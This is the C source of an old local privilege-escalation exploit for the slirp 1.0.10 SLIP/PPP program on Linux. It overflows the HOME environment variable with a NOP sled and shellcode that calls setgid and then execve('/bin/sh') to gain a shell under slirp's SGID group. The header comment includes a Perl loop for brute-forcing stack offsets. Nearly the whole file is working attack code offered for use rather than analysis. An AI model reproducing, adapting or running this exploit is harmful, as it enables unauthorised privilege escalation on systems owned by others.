/*
  (linux)slirp[v1.0.10(RELEASE)] buffer overflow, by v9[v9@fakehalo.org].
   this will give you a gid=1-255(depends) shell if /usr/local/bin/slirp is
   SGID(1-255).  slirp is a slip/ppp program that allows users to have a
   internet connection via a shell.  i made this beacuse i noticed slirp was
   sgid to a group(arpa usually) on some servers.  so, i downloaded the source
   and looked at it, i found that the env var HOME overwrote the eip around 
   300 characters.  anything much larger than 300 characters overflowed in
   strncmp(eax) at a different location.  this is much easier to work with. :)
 
   note: tested on my slackware3.6(slirp was installed from the package).
   offsets around -500--900, 500-1500 and 2100-2300 worked on my system.
 
   syntax: ./slirp_bof [numeric offset value] [gid(1-255)].
 
   here is a quick perl script to run offsets (until ctrl-c):
 
   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "offset: $i.\n";
    system("./slirp_bof $i");
    $i++; # or $i+=100; if you want to be speedy. (yeah, you probably want to)
   } */

#define DEFAULT_OFFSET 500
#define DEFAULT_GID 1 // this(bin) will probably/should never be the gid.
static char exec[]=
  "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
  "\x00" // will be filled in with the gid.
  "\xcd\x80\x89\x76\x08\x31\xc0\x88\x46\x07"
  "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
  "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"
  "\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69"
  "\x6e\x2f\x73\x68\x01";
long esp(void)
{
  __asm__("movl %esp,%eax");
}
int main(int argc,char **argv)
{
  char bof[264],gid;
  int i,offset;
  long ret;
  if(argc>1)
    {
      offset=atoi(argv[1]);
    }
  else
    {
      offset=DEFAULT_OFFSET;
    }
  if(argc>2)
    {
      if(atoi(argv[2])<1||atoi(argv[2])>255)
        {
          printf("value %s is out of range!  GID value must be between 1-255. (deal with it)\n",argv[2]);
          exit(-1);
        }
      else
        {
          gid=atoi(argv[2]);
        }
    }
  else
    {
      gid=DEFAULT_GID;
    }
  exec[10]=gid; // filling in the blank spot in the shellcode with the GID.
  ret=(esp()-offset);
  printf("return address: 0x%lx, offset: %d",ret,offset);
  if(gid-DEFAULT_GID)
    {
      printf(", alternate gid: %d.\n",atoi(argv[2]));
    }
  else
    {
      printf(", default gid: %d.\n",DEFAULT_GID);
    }
  for(i=0;i<264;i+=4)
    {
      *(long *)&bof[i]=ret;
    }
  for(i=0;i<(260-strlen(exec));i++)
    {
      *(bof+i)=0x90;
    }
  memcpy(bof+i,exec,strlen(exec));
  setenv("HOME",bof,1);
  execlp("/usr/local/bin/slirp","slirp",0);
}
/*                    www.hack.co.za           [8 June 2000]*/